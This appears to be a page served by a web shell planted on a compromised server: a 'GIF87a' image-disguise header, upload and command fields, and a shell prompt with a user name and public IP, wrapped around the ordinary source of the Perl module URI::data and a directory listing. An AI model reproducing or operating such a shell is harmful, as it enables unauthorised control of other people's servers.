GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@3.137.142.253: ~ $
package URI::data;  # RFC 2397

use strict;
use warnings;

use parent 'URI';

our $VERSION = '1.76';

use MIME::Base64 qw(encode_base64 decode_base64);
use URI::Escape  qw(uri_unescape);

sub media_type
{
    my $self = shift;
    my $opaque = $self->opaque;
    $opaque =~ /^([^,]*),?/ or die;
    my $old = $1;
    my $base64;
    $base64 = $1 if $old =~ s/(;base64)$//i;
    if (@_) {
	my $new = shift;
	$new = "" unless defined $new;
	$new =~ s/%/%25/g;
	$new =~ s/,/%2C/g;
	$base64 = "" unless defined $base64;
	$opaque =~ s/^[^,]*,?/$new$base64,/;
	$self->opaque($opaque);
    }
    return uri_unescape($old) if $old;  # media_type can't really be "0"
    "text/plain;charset=US-ASCII";      # default type
}

sub data
{
    my $self = shift;
    my($enc, $data) = split(",", $self->opaque, 2);
    unless (defined $data) {
	$data = "";
	$enc  = "" unless defined $enc;
    }
    my $base64 = ($enc =~ /;base64$/i);
    if (@_) {
	$enc =~ s/;base64$//i if $base64;
	my $new = shift;
	$new = "" unless defined $new;
	my $uric_count = _uric_count($new);
	my $urienc_len = $uric_count + (length($new) - $uric_count) * 3;
	my $base64_len = int((length($new)+2) / 3) * 4;
	$base64_len += 7;  # because of ";base64" marker
	if ($base64_len < $urienc_len || $_[0]) {
	    $enc .= ";base64";
	    $new = encode_base64($new, "");
	} else {
	    $new =~ s/%/%25/g;
	}
	$self->opaque("$enc,$new");
    }
    return unless defined wantarray;
    $data = uri_unescape($data);
    return $base64 ? decode_base64($data) : $data;
}

# I could not find a better way to interpolate the tr/// chars from
# a variable.
my $ENC = $URI::uric;
$ENC =~ s/%//;

eval <<EOT; die $@ if $@;
sub _uric_count
{
    \$_[0] =~ tr/$ENC//;
}
EOT

1;

__END__

=head1 NAME

URI::data - URI that contains immediate data

=head1 SYNOPSIS

 use URI;

 $u = URI->new("data:");
 $u->media_type("image/gif");
 $u->data(scalar(`cat camel.gif`));
 print "$u\n";
 open(XV, "|xv -") and print XV $u->data;

=head1 DESCRIPTION

The C<URI::data> class supports C<URI> objects belonging to the I<data>
URI scheme.  The I<data> URI scheme is specified in RFC 2397.  It
allows inclusion of small data items as "immediate" data, as if it had
been included externally.  Examples:

  data:,Perl%20is%20good

  data:image/gif;base64,R0lGODdhIAAgAIAAAAAAAPj8+CwAAAAAI
    AAgAAAClYyPqcu9AJyCjtIKc5w5xP14xgeO2tlY3nWcajmZZdeJcG
    Kxrmimms1KMTa1Wg8UROx4MNUq1HrycMjHT9b6xKxaFLM6VRKzI+p
    KS9XtXpcbdun6uWVxJXA8pNPkdkkxhxc21LZHFOgD2KMoQXa2KMWI
    JtnE2KizVUkYJVZZ1nczBxXlFopZBtoJ2diXGdNUymmJdFMAADs=



C<URI> objects belonging to the data scheme support the common methods
(described in L<URI>) and the following two scheme-specific methods:

=over 4

=item $uri->media_type( [$new_media_type] )

Can be used to get or set the media type specified in the
URI.  If no media type is specified, then the default
C<"text/plain;charset=US-ASCII"> is returned.

=item $uri->data( [$new_data] )

Can be used to get or set the data contained in the URI.
The data is passed unescaped (in binary form).  The decision about
whether to base64 encode the data in the URI is taken automatically,
based on the encoding that produces the shorter URI string.

=back

=head1 SEE ALSO

L<URI>

=head1 COPYRIGHT

Copyright 1995-1998 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut

Filemanager

Name Type Size Permission Actions
file Folder 0755
urn Folder 0755
Escape.pm File 6.9 KB 0444
Heuristic.pm File 6.37 KB 0444
IRI.pm File 794 B 0444
QueryParam.pm File 4.75 KB 0444
Split.pm File 2.3 KB 0444
URL.pm File 5.36 KB 0444
WithBase.pm File 3.77 KB 0444
_foreign.pm File 107 B 0444
_generic.pm File 5.69 KB 0444
_idna.pm File 2.03 KB 0444
_ldap.pm File 3.17 KB 0444
_login.pm File 231 B 0444
_punycode.pm File 5.49 KB 0444
_query.pm File 2.47 KB 0444
_segment.pm File 416 B 0444
_server.pm File 3.64 KB 0444
_userpass.pm File 1.01 KB 0444
data.pm File 3.31 KB 0444
file.pm File 9.53 KB 0444
ftp.pm File 1.03 KB 0444
gopher.pm File 2.37 KB 0444
http.pm File 425 B 0444
https.pm File 144 B 0444
ldap.pm File 2.86 KB 0444
ldapi.pm File 441 B 0444
ldaps.pm File 144 B 0444
mailto.pm File 1.25 KB 0444
mms.pm File 125 B 0444
news.pm File 1.42 KB 0444
nntp.pm File 127 B 0444
pop.pm File 1.18 KB 0444
rlogin.pm File 129 B 0444
rsync.pm File 207 B 0444
rtsp.pm File 125 B 0444
rtspu.pm File 126 B 0444
sftp.pm File 98 B 0444
sip.pm File 1.67 KB 0444
sips.pm File 143 B 0444
snews.pm File 172 B 0444
ssh.pm File 175 B 0444
telnet.pm File 128 B 0444
tn3270.pm File 128 B 0444
urn.pm File 2.12 KB 0444